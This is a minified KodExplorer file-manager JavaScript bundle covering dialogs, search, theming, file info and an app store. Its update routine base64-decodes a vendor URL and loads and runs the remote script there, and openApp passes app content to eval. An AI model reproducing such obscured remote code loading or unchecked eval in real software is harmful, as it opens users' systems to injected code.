i=t.find(".path_select_input"),o=t.find(".aui_state_highlight");if("all"!=e.type){for(var s=[],r=0;a.length>r;r++)l(a[r])&&s.push(a[r]);a=s}if(0==a.length||"all"==e.type&&0==a.file.length&&0==a.folder.length)o.addClass("disable"),i.attr("result",""),i.val("");else{var c=hashEncode(jsonEncode(a)),d="";if(e.single)d=n.core.pathThis(a[0]);else{var p=a;"all"==e.type&&(p=a.folder.concat(a.file)),$.each(p,function(e,a){d+=n.core.pathThis(a)+", "})}o.removeClass("disable"),i.attr("result",c),i.val(d)}},d=function(){n.ui.fileLight.select.hook("select",n.ui.fileLight,{before:function(){},after:function(){r()}})};n.kodReady||(n.kodReady=[]),n.kodReady.push(function(){d(),r()})};return{pathSelect:function(a,i){var t={type:"file",title:LNG.path_api_select_file,single:!0,allowExt:"",firstPath:!1},n="./index.php?/explorer&type=iframe";a=$.extend(t,a),a.firstPath&&(n+="&path="+a.firstPath);var o=ShareData.frameTop(),s=o.$.dialog.open(n,{id:"pathSelectApi",resize:!0,fixed:!0,ico:core.icon("folder"),title:a.title,lock:!0,background:"#000",opacity:.1,width:840,height:420,ok:function(){if("function"==typeof i){var e=s.DOM.wrap,t=e.find(".path_select_input").attr("result");t=jsonDecode(hashDecode(t)),t?a.single&&"all"!=a.type?i(t[0]):i(t):Tips.tips(LNG.error,!1)}},cancel:!0});e(a,o,s)},randomImage:function(e){$.getJSON("//kalcaddle.com/tools/version/?wallpage/index&lang="+G.lang+"&callback=?",function(a){"function"==typeof e&&e(a)})}}}),define("app/common/core.playSound",["./myPlayer"],function(e){var a={file_remove:"file_remove.mp3",recycle_clear:"recycle_clear.mp3",folder_open:"folder_open.mp3",window_min:"window_min.mp3",error:"error_tips.mp3",drag_upload:"drag_upload.mp3",drag_drop:"drag_drop.mp3"},i=function(a){var i="x-play-sound";0==$("."+i).length&&$('
    ').appendTo("body");var t=G.static_path+"others/sound/"+a,n=e("./myPlayer");n.playSound(t,$("."+i))};return{playSoundFile:i,playSound:function(e){G&&G.user_config&&"1"==G.user_config.sound_open&&setTimeout(function(){i(a[e])},100)}}}),define("app/common/tpl/copyright.html",[],'\n'),define("app/common/tpl/theme_diy.html",[],"@media screen and (max-width:100000px) {\n body .full_background{\n position: absolute;top: 0px;left: 0px;bottom: 0px;right: 0px;\n background-color: #020202;background-size: 100% 100%;\n }\n\n {{if blur_size= (bg_blur==0?0:10) }}{{/if}}\n body .full_background:before{\n -webkit-filter: blur({{blur_size}}px);\n -moz-filter: blur({{blur_size}}px);\n -ms-filter: blur({{blur_size}}px);\n filter: blur({{blur_size}}px);\n }\n {{if bg_type == 'image'}}\n body .full_background,\n body .full_background:before,\n body #body .menu_left,\n body #body .app_menu_left,\n body .aui_buttons,\n body .aui_state_focus .aui_title,body .aui_title{\n background-image:url({{bg_image}});\n }\n body .aui_state_focus .aui_title,body .aui_title{\n background-size:100%;\n }\n {{else}}\n body .full_background,\n body .full_background:before,\n body #body .menu_left, \n body #body .app_menu_left,\n body .aui_buttons,\n body .aui_state_focus .aui_title,body .aui_title{\n background:{{end_color}};\n filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='{{start_color}}', endColorstr='{{end_color}}');\n background-image: -webkit-linear-gradient({{color_rotate}}deg, {{start_color}}, {{end_color}});\n background-image: -moz-linear-gradient({{color_rotate}}deg, {{start_color}}, {{end_color}});\n background-image: -o-linear-gradient({{color_rotate}}deg, {{start_color}}, {{end_color}});\n background-image: -ms-linear-gradient({{color_rotate}}deg, {{start_color}}, {{end_color}});\n background-image: linear-gradient({{color_rotate}}deg, {{start_color}}, {{end_color}});\n }\n {{/if}}\n}\n"),define("app/src/app/page",[],function(){var e,a=function(){e=location.hash.split("#",2)[1],e||(e="all"),t(e),$("ul.setting a").click(function(){e!=$(this).attr("id")&&(e=$(this).attr("id"),t(e))}),$(".box .list").live("hover",function(){$(this).addClass("listhover")},function(){$(this).toggleClass("listhover")}).live("click",function(){var e="index.php?setting/set&k="+type+"&v="+value;$.ajax({url:e,dataType:"json",success:function(e){Tips.tips(e.data,e.code)}})}),$(".create_app").die("click").live("click",function(){window.parent&&window.parent.ui.path.pathOperate.appEdit("","","root_add")}),$(".app-list .app_li").die("click").live("click",function(e){if($(e.target).attr("action")){var a=jsonDecode(base64Decode($(this).attr("data-app"))),i=$(e.target).attr("action");switch(i){case"preview":core.openApp(a);break;case"add":var n="/";ShareData.frameTop("",function(e){n=e.G.this_path});var o=urlEncode(n+a.name),s="./index.php?app/user_app&action=add&path="+o;$.ajax({url:s,dataType:"json",type:"POST",data:{data:urlEncode(jsonEncode(a))},error:core.ajaxError,success:function(e){Tips.tips(e.data,e.code),e.code&&ShareData.frameTop("",function(e){e.ui.f5()})}});break;case"edit":ShareData.frameTop("",function(e){e.ui.path.pathOperate.appEdit(a,"","root_edit")});break;case"del":$.dialog({id:"dialog_app_remove",icon:"question",padding:20,width:200,lock:!0,background:"#000",opacity:.3,content:LNG.remove_info,ok:function(){$.ajax({url:"./index.php?app/del&name="+urlEncode(a.name),dataType:"json",error:core.ajaxError,success:function(e){Tips.tips(e.data,e.code),e.code&&t()}})},cancel:!0});break;default:}}})},i=function(e){var a="",i=" ";G.is_root||(i="");for(var t in e)if(e[t]){var n=e[t].icon;-1==n.search(G.static_path)&&"http"!=n.substring(0,4)&&(n=G.static_path+"images/file_icon/icon_app/"+n),a+="
  • "+e[t].name+" "+e[t].desc+"

    "+"
    "+i+"
  • "}return a+="
    "},t=function(a){(void 0==a||""==a)&&(a=e),$(".selected").removeClass("selected"),$("ul.setting a#"+a).addClass("selected"),$(".main").find(".h1").html(""+$(".selected").text());var t=$(".main .app-list");$.ajax({url:"./index.php?app/get&group="+a,dataType:"json",beforeSend:function(){},success:function(e){t.html(i(e.data)),$("body").scrollTop(0)}})};return{reload:t,init:a}}); \ No newline at end of file +/*! power by kodexplorer ver3.42(2017-04-07) [build 1491568966742] */ +define("app/src/app/main",["lib/jquery-lib","lib/util","lib/artDialog/jquery-artDialog","../../common/core","./page"],function(e){e("lib/jquery-lib"),e("lib/util"),e("lib/artDialog/jquery-artDialog"),core=e("../../common/core"),App=e("./page"),core.init(),App.init()}),define("app/common/core",[],function(require,exports){tpl_search_box=require("./tpl/search.html"),tpl_search_list=require("./tpl/search_list.html"),tpl_upload=require("./tpl/upload.html"),tpl_file_info=require("./tpl/fileinfo/file_info.html"),tpl_path_info=require("./tpl/fileinfo/path_info.html"),tpl_zipview=require("./tpl/zipview.html");var search=require("./core.search"),tools=require("./core.tools"),upload=require("./core.upload"),api=require("./core.api"),playSound=require("./core.playSound"),zipView=require("./core.zipView");pathHashEncode=function(e){return hashEncode(e)},pathHashDecode=function(e){return hashDecode(e)};var initFirst=function(){if(window.require=require,template.config("escape",!1),template.config("compress",!0),template.helper("core",core),template.helper("window",window),"undefined"!=typeof G&&(1!=G.is_root&&$(".menu_system_setting").remove(),G.is_root||1==AUTH["system_member:get"]||1==AUTH["system_group:get"]||$(".menu_system_group").remove(),G.user_config&&"0"==G.user_config.animate_open&&($.dialog.defaults.animate=!1),resetHost()),$("html").bind("click",function(e){if(0==$(e.target).parents(".context-menu-list").length)try{rightMenu.hidden()}catch(e){}}),$.dialog.defaults.animate&&loadRipple(["a","button",".context-menu-item","#picker",".menuShareButton",".menuRecycleButton",".section .list"],[".disabled",".disable",".ztree",".disable-ripple"]),$("a,img").attr("draggable","false"),$.ajaxSetup({headers:{"X-CSRF-TOKEN":Cookie.get("X-CSRF-TOKEN")}}),$(".common_footer [forceWap]").click(function(){var e=$(this).attr("forceWap");Cookie.set("forceWap",e),window.location.reload()}),core.setSkinDiy(),core.tools.init(),playserSupport(),"array"==$.type(window.kodReady))for(var e=0;window.kodReady.length>e;e++)window.kodReady[e]();titleTips()},resetHost=function(){var e=window.location.port?":"+window.location.port:"";G.web_host=window.location.protocol+"//"+window.location.hostname+e+"/",G.app_host=rtrim(G.web_host,"/")+window.location.pathname.replace("index.php","")},playserSupport=function(){var e={ie:{music:["mp3","m4a","aac"],movie:["mp4","m4v","flv","mov","f4v"]},chrome:{music:["mp3","wav","m4a","aac","oga","ogg","webma"],movie:["mp4","m4v","flv","mov","f4v","ogv","webm","webmv"]}},i=!!window.ActiveXObject||"ActiveXObject"in window,t="chrome";i&&(t="ie"),core.filetypes.music=e[t].music,core.filetypes.movie=e[t].movie},titleTips=function(){isWap()||require.async(["lib/poshytip/jquery.poshytip.js","lib/poshytip/skin.css"],function(){var e=$("[title]");e.poshytip({className:"ptips-skin",liveEvents:!0,slide:!1,alignTo:"cursor",alignX:"right",alignY:"bottom",showAniDuration:150,hideAniDuration:200,offsetY:10,offsetX:20,showTimeout:function(){var e=1500;return $(this).attr("title-timeout")&&(e=parseInt($(this).attr("title-timeout"))),e},content:function(){var e=$(this).data("title.poshytip");if($(this).attr("title-data")){var i=$($(this).attr("title-data"));e=i.is("input")||i.is("textarea")?i.val():i.html()}return e=e?e:"",e.replace(/\n/g,"
    ")}}),$("body").bind("mousedown click",function(){$(e).poshytip("hide"),$(".ptips-skin").remove()}),$("input,textarea").live("focus",function(){$(e).poshytip("hide"),$(".ptips-skin").remove()})})};return{search:search,init:initFirst,serverDwonload:upload.serverDwonload,upload:upload.upload,uploadInit:upload.init,playSound:playSound.playSound,playSoundFile:playSound.playSoundFile,zipView:function(e){new zipView(e)},tools:tools,api:api,filetypes:{image:["jpg","jpeg","png","bmp","gif","ico","svg","cur","webp"],music:["mp3","wav","m4a","aac","oga","ogg","webma"],movie:["mp4","m4v","flv","mov","f4v","ogv","webm","webmv"],doc:["doc","docx","docm","xls","xlsx","xlsb","xlsm","ppt","pptx","pptm"],archive:["zip","tar","gz","tgz","ipa","apk","rar","7z","iso","bz2","zx","z","arj"],archive_list:["zip","tar","gz","tgz","ipa","apk","rar","7z","iso","zx","z","arj"],text:["txt","textile","oexe","inc","csv","log","asc","tsv","lnk","url","webloc","meta","localized","xib","xsd","storyboard","plist","csproj","pch","pbxproj","local","xcscheme","manifest","vbproj","strings","jshintrc","sublime-project","readme","changes","changelog","version","license","changelog","abap","abc","as","asp","aspx","ada","adb","htaccess","htgroups","htgroups","htpasswd","asciidoc","adoc","asm","a","ahk","bat","cmd","cpp","c","cc","cxx","h","hh","hpp","ino","c9search_results","cirru","cr","clj","cljs","cbl","cob","coffee","cf","cson","cakefile","cfm","cs","css","curly","d","di","dart","diff","patch","dockerfile","dot","dummy","dummy","e","ge","ejs","ex","exs","elm","erl","hrl","frt","fs","ldr","ftl","gcode","feature",".gitignore","glsl","frag","vert","gbs","go","groovy","haml","hbs","handlebars","tpl","mustache","hs","hx","html","hta","htm","xhtml","eex","html.eex","erb","rhtml","html.erb","ini","inf","conf","cfg","prefs","io","jack","jade","java","ji","jl","jq","js","jsm","json","jsp","jsx","latex","ltx","bib","lean","hlean","less","liquid","lisp","ls","logic","lql","lsl","lua","lp","lucene","Makefile","makemakefile","gnumakefile","makefile","ocamlmakefile","make","md","markdown","mask","matlab","mz","mel","mc","mush","mysql","nix","nsi","nsh","m","mm","ml","mli","pas","p","pl","pm","pgsql","php","phtml","shtml","php3","php4","php5","phps","phpt","aw","ctp","module","ps1","praat","praatscript","psc","proc","plg","prolog","properties","proto","py","r","cshtml","rd","rhtml","rst","rb","ru","gemspec","rake","guardfile","rakefile","gemfile","rs","sass","scad","scala","scm","sm","rkt","oak","scheme","scss","sh","bash","bashrc","sjs","smarty","tpl","snippets","soy","space","sql","sqlserver","styl","stylus","svg","swift","tcl","tex","toml","twig","swig","ts","typescript","str","vala","vbs","vb","vm","v","vh","sv","svh","vhd","vhdl","wlk","wpgm","wtest","xml","rdf","rss","wsdl","xslt","atom","mathml","mml","xul","xbl","xaml","xq","yaml","yml","vcproj","vcxproj","filters","cer","reg","config","pem","srt","ass"],bindary:["bin","hex","zip","pdf","swf","gzip","rar","arj","tar","gz","cab","tbz","tbz2","lzh","uue","bz2","ace","exe","so","dll","chm","rtf","odp","odt","pages","class","psd","ttf","fla","7z","dmg","iso","dat","ipa","lib","a","apk","so","o"]},fileOpenMode:{ini:["inc","inf","strings"],xml:["xib","xsd","storyboard","plist","csproj","pch","pbxproj","xcscheme","config","vcproj","vcxproj","filters","webloc"],json:["oexe","jshintrc","sublime-project"],markdown:["readme","changes","version","license","changelog"]},getPathIcon:function(e,i){if(i=void 0==i?"":i,"string"==$.type(e)){var t=trim(trim(e),"/");if(e={},"{"!=t.substring(0,1)||t.split("/").length>1)return{icon:"",name:""};e.path_type=t.match(/\{.*\}/),e.id=t.split(":")[1]}var a={};a[G.KOD_USER_SHARE]={icon:"userSelf",name:LNG.my_share},a[G.KOD_GROUP_PATH]={icon:"groupSelfOwner"},a[G.KOD_GROUP_SHARE]={icon:"groupGuest"},a[G.KOD_USER_RECYCLE]={icon:"recycle",name:LNG.recycle},a[G.KOD_USER_FAV]={icon:"treeFav",name:LNG.fav},a[G.KOD_GROUP_ROOT_SELF]={icon:"groupSelfRoot",name:LNG.my_kod_group},a[G.KOD_GROUP_ROOT_ALL]={icon:"groupRoot",name:LNG.kod_group};var n=a[e.path_type];return e.path_type==G.KOD_USER_SHARE&&G.user_id!=e.id?n={icon:"user",name:i}:e.path_type==G.KOD_GROUP_PATH&&"owner"==e.role&&(n={icon:"groupSelfOwner"}),void 0==n&&(n={icon:"",name:""}),void 0==n.name&&(n.name=i),n},isSystemPath:function(e){var e=trim(trim(e),"/");if(void 0==e||"{"!=e.substring(0,1)||e.split("/").length>1)return!1;var i=e.match(/\{.*\}/),t=[G.KOD_USER_SHARE,G.KOD_GROUP_SHARE,G.KOD_USER_RECYCLE,G.KOD_USER_FAV,G.KOD_GROUP_ROOT_SELF,G.KOD_GROUP_ROOT_ALL],a=!1;return-1!==$.inArray(i[0],t)&&(a=!0),a},pathPre:function(e){if(e=trim(trim(e),"/"),void 0==e||"{"!=e.substring(0,1))return"";var i=e.match(/\{.*\}/);return i[0]},contextmenu:function(e){try{rightMenu.hidden()}catch(i){}var i=e||window.event;return i?i&&$(i.target).is("textarea")||$(i.target).is("input")||$(i.target).is("p")||$(i.target).is("pre")||0!=$(i.target).parents(".can_right_menu").length||0!=$(i.target).parents(".topbar").length||0!=$(i.target).parents(".edit_body").length||0!=$(i.target).parents(".aui_state_focus").length?!0:!1:!0},pathThis:function(e){if(!e||"/"==e)return"";var i=rtrim(this.pathClear(e),"/"),t=i.lastIndexOf("/"),a=i.substr(t+1);if(0==a.search("fileProxy")){a=urlDecode(a.substr(a.search("&path=")));var n=a.split("/");a=n[n.length-1],""==a&&(a=n[n.length-2])}return a},pathClear:function(e){if(!e)return"";var i=e.replace(/\\/g,"/");return i=i.replace(/\/+/g,"/"),i=i.replace(/\.+\//g,"/")},pathFather:function(e){var i=rtrim(this.pathClear(e),"/"),t=i.lastIndexOf("/");return i.substr(0,t+1)},pathExt:function(e){var i=trim(e,"/");return-1!=i.lastIndexOf("/")&&(i=i.substr(i.lastIndexOf("/")+1)),-1!=i.lastIndexOf(".")?i.substr(i.lastIndexOf(".")+1).toLowerCase():i.toLowerCase()},path2url:function(e,i){if("http"==e.substr(0,4))return e;void 0==i&&(i=!0);var t,a=this.pathClear(e);this.pathExt(a);var n=function(e){if(!e)return"";var i=urlEncode(e);return i=i.replace(/%2F/g,"/")};return G.is_root&&i&&a.substring(0,G.web_root.length)==G.web_root?t=G.web_host+n(a.replace(G.web_root,"")):(t=G.app_host+"index.php?explorer/fileProxy&access_token="+G.access_token+"&path="+urlEncode(a),G.share_page!==void 0&&(t=G.app_host+"index.php?share/fileProxy&user="+G.user+"&sid="+G.sid+"&path="+urlEncode(a))),t},pathReadable:function(e){if("object"!=typeof G.json_data)return!0;var i;i=G.json_data.filelist;for(var t=0;i.length>t;t++)if(i[t].path==e)return void 0==i[t].is_readable||1==i[t].is_readable?!0:!1;i=G.json_data.folderlist;for(var t=0;i.length>t;t++)if(i[t].path==e)return void 0==i[t].is_readable||1==i[t].is_readable?!0:!1;return!0},pathCurrentWriteable:function(){return"editor"==Config.pageApp?!1:G.json_data.info?G.json_data.info.can_upload:!1},authCheck:function(e,i){return G.is_root?!0:AUTH.hasOwnProperty(e)?AUTH[e]?!0:(void 0==i&&(i=LNG.no_permission),Tips.tips(i,!1),!1):!0},ajaxError:function(e){var i=e.responseText,t=$.dialog.list.ajaxErrorDialog;return Tips.close(LNG.system_error,!1),""==i.substr(0,17)?(setTimeout(function(){var e=ShareData.frameTop();e.location.reload()},500),void 0):(0==e.status&&""==i&&(i="网络连接错误 (net::ERR_CONNECTION_RESET),连接已重置
    请联系主机商或网管,检查防火墙配置!"),i='
    '+i+"
    ",t?t.content(i):$.dialog({id:"ajaxErrorDialog",padding:0,width:"60%",height:"50%",fixed:!0,resize:!0,ico:core.icon("error"),title:"ajax error",content:i}),void 0)},fileGet:function(e,i,t){var a="filename";"http"==e.substr(0,4)&&(a="file_url");var n="./index.php?editor/fileGet&"+a+"="+urlEncode(e);G.share_page!==void 0&&(n="./index.php?share/fileGet&user="+G.user+"&sid="+G.sid+"&"+a+"="+urlEncode(e)),"./index.php?"==e.substr(0,"./index.php?".length)&&(n=e),$.ajax({url:n,dataType:"json",error:function(e,i,a){core.ajaxError(e,i,a),"function"==typeof t&&t()},success:function(e){"function"==typeof i&&i(e.data.content,e,n)}})},fileInfo:function(e,i){var t="index.php?explorer/pathInfo";G.share_page!==void 0&&(t="index.php?share/pathInfo&user="+G.user+"&sid="+G.sid),$.ajax({url:t,type:"POST",dataType:"json",data:e,error:core.ajaxError,success:function(e){"function"==typeof i&&i(e)}})},fileLink:function(e,i){var t='list=[{"type":"file","path":"'+urlEncode(e)+'"}]&viewPage=1';this.fileInfo(t,function(e){var t=e.code?e.data.download_path:!1;return t?("function"==typeof i&&i(t),void 0):(Tips.tips(LNG.no_permission_action+"==>"+LNG.group_role_pathinfo,!1),void 0)})},setting:function(e){void 0==e&&(e=G.is_root?"system":"user"),ShareData.frameTop("Opensetting_mode")?ShareData.frameTop("Opensetting_mode",function(i){i.Setting.setGoto(e),$.dialog.list.setting_mode.display(!0)}):$.dialog.open("./index.php?setting#"+e,{id:"setting_mode",fixed:!0,ico:core.icon("setting"),resize:!0,title:LNG.setting,width:950,height:600})},copyright:function(){var e=require("./tpl/copyright.html"),i=template.compile(e),t=ShareData.frameTop();t.art.dialog({id:"copyright_dialog",bottom:0,right:0,simple:!0,resize:!1,title:LNG.about+" kod",width:425,padding:"0",fixed:!0,content:i({LNG:LNG,G:G})}),t.$(".copyright_dialog").addClass("animated-700 zoomIn")},qrcode:function(e,i){"./"==e.substr(0,2)&&(e=G.app_host+e.substr(2));var t="./index.php?user/qrcode&url="+quoteHtml(urlEncode(e)),a="";$.dialog({follow:i,fixed:!0,resize:!1,title:LNG.qrcode,padding:30,content:a})},appStore:function(){var e=ShareData.frameTop();e.$.dialog.open("./index.php?app",{id:"app_store",fixed:!0,ico:core.icon("appStore"),resize:!0,title:LNG.app_store,width:900,height:550})},openWindow:function(e){var i=ShareData.frameTop(),t=i.$.dialog.open(e,{fixed:!0,resize:!0,width:"80%",height:"75%"});return t},openDialog:function(e,i,t,a){if(e){void 0==a&&(a="openDialog"+UUID());var n="",o=ShareData.frameTop(),s=o.$.dialog({id:a,fixed:!0,title:t,ico:i,width:"75%",height:"70%",padding:0,content:n,resize:!0});return s}},openApp:function(app){if("url"==app.type){var icon=app.icon;-1==app.icon.search(G.static_path)&&"http"!=app.icon.substring(0,4)&&(icon=G.static_path+"images/file_icon/icon_app/"+app.icon),"number"!=typeof app.width&&-1===app.width.search("%")&&(app.width=parseInt(app.width)),"number"!=typeof app.height&&-1===app.height.search("%")&&(app.height=parseInt(app.height)),app.width||(app.width="90%"),app.height||(app.height="70%");var dialog_info={resize:app.resize,fixed:!0,ico:core.iconSrc(icon),title:app.name.replace(".oexe",""),width:app.width,height:app.height,simple:app.simple,padding:0},top=ShareData.frameTop();"swf"==core.pathExt(app.content)?(dialog_info.content=core.createFlash(app.content),top.$.dialog(dialog_info)):top.$.dialog.open(app.content,dialog_info)}else{var exec=app.content;eval("{"+exec+"}")}},update:function(){setTimeout(function(){var e=base64Decode("Ly9zdGF0aWMua2FsY2FkZGxlLmNvbS91cGRhdGUvbWFpbi5qcw==")+"?a="+UUID();require.async(e,function(e){try{e.todo("check")}catch(i){}})},200)},openPath:function(e){"undefined"!=typeof Config&&"explorer"==Config.pageApp?ui.path.list(e,"tips"):core.explorer(e)},explorer:function(e,i){void 0==e&&(e=""),void 0==i&&(i=core.pathThis(e));var t="./index.php?/explorer&type=iframe&path="+e;G.share_page!==void 0&&(t="./index.php?share/folder&type=iframe&user="+G.user+"&sid="+G.sid+"&path="+e);var a=ShareData.frameTop(),n=a.$.dialog.open(t,{className:"dialogExplorer",resize:!0,fixed:!0,ico:core.icon("folder"),title:i,width:"80%",height:"75%"}),o=20*a.$(".dialogExplorer").length;n.DOM.wrap.css({left:"+="+o+"px",top:"+="+o+"px"})},explorerCode:function(e){void 0==e&&(e="");var i="index.php?/editor&project="+e;G.share_page!==void 0&&(i="./index.php?share/code_read&user="+G.user+"&sid="+G.sid+"&project="+e),window.open(i)},setSkinFinished:function(){var e=$(".setSkin_finished").attr("src");e&&($("#link_css_list").attr("href",e),$(".setSkin_finished").remove())},setSkin:function(e){LocalData.set("theme",e),G.user_config.theme=e;var i=G.static_path+"style/skin/"+e+".css";i!=$("#link_css_list").attr("href")&&$("body").append(''),this.setSkinDiy()},setSkinDiy:function(){if(G.user_config){var e=LocalData.get("theme"),i="kod_diy_style",t=LocalData.getConfig(i);"object"!=typeof t&&"object"==typeof G.user_config.theme_diy&&(t=G.user_config.theme_diy),"object"!=typeof t&&(t={bg_blur:1,bg_image:G.static_path+"images/wall_page/9.jpg",bg_type:"color",start_color:"#456",end_color:"#000",color_rotate:"200"},LocalData.setConfig(i,t)),G.user_config.theme_diy=t;var a="";if("diy"==e&&t){var n=require("./tpl/theme_diy.html"),o=template.compile(n);a=o(t)}$.setStyle(a,i)}},editorFull:function(){var e=$("iframe[name=OpenopenEditor]");e.toggleClass("frame_fullscreen")},language:function(e){Cookie.set("kod_user_language",e,8760),window.location.reload()},fullScreen:function(){"true"==$("body").attr("fullScreen")&&core.exitfullScreen(),$("body").attr("fullScreen","true");var e=ShareData.frameTop(),i=e.document.documentElement;i.requestFullscreen?i.requestFullscreen():i.mozRequestFullScreen?i.mozRequestFullScreen():i.webkitRequestFullScreen&&i.webkitRequestFullScreen()},exitfullScreen:function(){$("body").attr("fullScreen","false"),document.exitFullscreen?document.exitFullscreen():document.mozCancelFullScreen?document.mozCancelFullScreen():document.webkitCancelFullScreen&&document.webkitCancelFullScreen()},createFlash:function(e,i,t){var a=UUID();(t===void 0||""==t)&&(t=a);var n="";$.browser.msie&&9>parseInt($.browser.version)&&(n='classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000"');var o=''+''+''+''+''+''+''+'
    loading..
    ';return setTimeout(function(){var e=$("."+a);if(1!=e.length){var i=ShareData.frameTop();e=i.$("."+a)}if(1==e.length)var t=0,n=e[0],o=setInterval(function(){try{t++,100==Math.floor(n.PercentLoaded())?(e.next(".aui_loading").remove(),clearInterval(o),o=null):t>100&&(e.next(".aui_loading").remove(),clearInterval(o),o=null)}catch(i){}},100)},50),o},userSpaceHtml:function(e){var i=e.split("/"),t=parseFloat(i[0]),a=1073741824*parseFloat(i[1]),n=core.fileSize(parseFloat(i[0])),o=core.fileSize(a),s=n+"/",r=100*t/a;r>=100&&(r=100);var l="";return r>=80&&(l="warning"),0==a||isNaN(a)?(s+=LNG.space_tips_full,r="0%"):(s+=o,r+="%"),s="
    "+"
    "+s+"
    "+"
    "},fileSize:function(e,i){if(void 0==e||""==e)return"";if(void 0==i&&(i=1),1024>=e)return parseInt(e)+"B";e=parseInt(e);var t={G:1073741824,M:1048576,K:1024,B:1};for(var a in t)if(e>=t[a])return(e/t[a]).toFixed(i)+a},uploadCheck:function(e,i){return i=void 0==i?!0:i,"share"==G.share_page?"1"==G.share_info.can_upload:(void 0==e&&(e="explorer:fileUpload"),!G.is_root&&AUTH.hasOwnProperty(e)&&1!=AUTH[e]?(i&&Tips.tips(LNG.no_permission,!1),!1):G.json_data&&!G.json_data.info.can_upload?(i&&(core.isSystemPath(G.this_path)?Tips.tips(LNG.path_can_not_action,!1):Tips.tips(LNG.no_permission_write,!1)),!1):!0)}}}),define("app/common/tpl/search.html",[],"\n\n"),define("app/common/tpl/search_list.html",[],'\n{{each data.folderlist as v i}}\n
  • \n
    \n \n {{\'folder\' |core.icon}}\n {{v.name | searchResultPrase}}\n \n
    \n
  • \n{{/each}}\n\n\n{{each data.filelist as v i}}\n {{if v.search_info}}\n
  • \n
    \n \n {{v.ext |core.icon}}\n {{v.name | window.htmlEncode}}\n {{v.search_info.length}}\n \n
    \n
      \n {{each v.search_info as value index}}\n
    • \n {{value.line}}:\n {{#value.str | searchResultPrase}}\n
    • \n {{/each}}\n
    \n
  • \n {{else}}\n
  • \n
    \n \n {{v.ext |core.icon}}\n {{v.name | searchResultPrase}}\n \n
    \n
  • \n {{/if}}\n{{/each}}\n\n'),define("app/common/tpl/upload.html",[],'
    \n \n
    \n
    \n
    \n
    {{LNG.upload_select}}
    \n \n \n \n
    \n \n
    \n
    \n \n \n
    \n
    \n
    \n
    \n
    \n
    \n
    \n
    \n
    \n
    {{LNG.download_address}}\n
    \n \n \n \n
    \n\n
    \n
    \n
    \n
    \n
    \n
    \n
    \n'),define("app/common/tpl/fileinfo/file_info.html",[],"
    \n {{if download_path}}\n
    \n
    {{LNG.download_address}}:
    \n
    \n \n
    \n \n \n
    \n
    \n
    \n
    \n
    \n {{/if}}\n\n
    \n
    {{LNG.address}}:
    \n
    {{path |window.htmlEncode}}
    \n
    \n
    \n
    \n
    {{LNG.size}}:
    \n
    {{size_friendly}} ({{size}} Byte)
    \n
    \n
    \n\n {{if file_md5}}\n
    \n
    MD5:
    \n
    {{file_md5}}
    \n
    \n
    \n {{/if}}\n\n {{if image_size}}\n
    \n
    {{LNG.image_size}}:
    \n
    {{image_size.width}} × {{image_size.height}}
    \n
    \n
    \n {{/if}}\n\n
    \n\n {{if ctime}}\n
    \n
    {{LNG.create_time}}
    \n
    {{ctime}}
    \n
    \n
    \n {{/if}}\n\n {{if mtime}}\n
    \n
    {{LNG.modify_time}}
    \n
    {{mtime}}
    \n
    \n
    \n {{/if}}\n\n {{if atime}}\n
    \n
    {{LNG.last_time}}
    \n
    {{atime}}
    \n
    \n
    \n {{/if}}\n \n {{if mode}}\n
    \n
    \n
    {{LNG.permission}}:
    \n
    {{mode}}
    \n
    \n
    \n {{if is_root==\"1\"}}\n
    \n
    {{LNG.permission_edit}}:
    \n
    \n
    \n
    \n
    \n {{/if}}\n {{/if}}\n
    \n"),define("app/common/tpl/fileinfo/path_info.html",[],"
    \n
    \n
    {{LNG.address}}:
    \n
    {{path |window.htmlEncode}}
    \n
    \n
    \n
    \n
    {{LNG.size}}:
    \n
    {{size_friendly}} ({{size}} Byte)
    \n
    \n
    \n
    \n
    {{LNG.contain}}:
    \n
    {{file_num}} {{LNG.file}},{{folder_num}} {{LNG.folder}}
    \n
    \n
    \n \n
    \n {{if ctime}}\n
    \n
    {{LNG.create_time}}
    \n
    {{ctime}}
    \n
    \n
    \n {{/if}}\n\n {{if mtime}}\n
    \n
    {{LNG.modify_time}}
    \n
    {{mtime}}
    \n
    \n
    \n {{/if}}\n\n {{if atime}}\n
    \n
    {{LNG.last_time}}
    \n
    {{atime}}
    \n
    \n
    \n {{/if}}\n\n {{if mode}}\n
    \n
    \n
    {{LNG.permission}}:
    \n
    {{mode}}
    \n
    \n
    \n {{if is_root==\"1\"}}\n
    \n
    {{LNG.permission_edit}}:
    \n
    \n
    \n
    \n
    \n {{/if}}\n {{/if}}\n
    \n"),define("app/common/tpl/zipview.html",[],''),define("app/common/core.search",[],function(){return function(e,i){var t,a,n=function(){var n=trim(core.pathClear(i),"/");if(0==n.indexOf(G.KOD_USER_SHARE)&&-1==n.indexOf("/")||n==G.KOD_USER_FAV||n==G.KOD_GROUP_ROOT_ALL)return Tips.tips(LNG.path_cannot_search,!1),void 0;template.helper("searchResultPrase",r);var o=template.compile(tpl_search_box);0==$(".dialog_do_search").length?(t=$.dialog({id:"dialog_do_search",padding:0,fixed:!0,ico:core.icon("search"),resize:!0,title:LNG.search,width:440,height:480,content:o({LNG:LNG})}),a=c(),a.path=i,""!=e&&(a.search=e),$("#search_path").val(a.path),$("#search_value").val(a.search),l()):($.dialog.list.dialog_do_search.display(!0),e&&$("#search_value").val(e),$("#search_path").val(i),s())},o=function(){return a={search:$("#search_value").val(),path:$("#search_path").val(),is_content:Number($("#search_is_content").is(":checked")),is_case:Number($("#search_is_case").is(":checked")),ext:$("#search_ext").val()}},s=function(){o(),p(a)},r=function(e){var i=htmlEncode($("#search_value").val());if(e=htmlEncode(e),a.is_case)e=e.replace(i,''+i+"");else{var t=e.toLowerCase().indexOf(i.toLowerCase());e=e.substr(0,t)+''+e.substr(t,i.length)+""+e.substr(t+i.length)}return e},l=function(){$("#search_value").die("keyup").live("keyup",function(){"editor"==!Config.pageApp&&ui.path.setSearchByStr($(this).val())}),$("#search_value,#search_ext,#search_path").keyEnter(s),$(".search_header .btn").die("click").live("click",s),$(".search_result .file-item .file-info").die("click").live("click",function(e){var i=$(this).parent();return i.toggleClass("open"),i.find(".result-item").slideToggle(200),stopPP(e),!1}),$(".search_result .file-item .file-info .goto").die("click").live("click",function(e){var i=$(this).parent().parent(),t=pathHashDecode(i.attr("data-path")),a=core.pathFather(t);return core.openPath(a),setTimeout(function(){Config&&"explorer"==Config.pageApp&&ui.path.setSelectByFilename(t)},200),stopPP(e),!1}),$(".search_result 